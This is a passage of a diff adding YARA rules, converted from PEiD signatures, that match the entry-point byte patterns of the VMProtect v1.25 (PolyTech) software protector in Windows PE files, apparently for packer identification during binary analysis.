+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02688_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02689_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02690_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02691_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02692_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02693_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02694_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02695_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02696_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02697_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02698_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02699_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02700_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02701_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02702_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02703_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02704_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02705_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02706_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02707_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02708_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02709_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02710_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02711_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02712_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02713_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02714_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02715_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02716_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02717_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02718_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02719_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02720_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02721_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02722_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02723_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02724_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02725_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02726_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02727_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02728_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02729_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02730_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02731_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02732_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02733_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02734_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02735_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02736_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02737_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02738_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02739_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02740_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02741_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02742_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02743_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
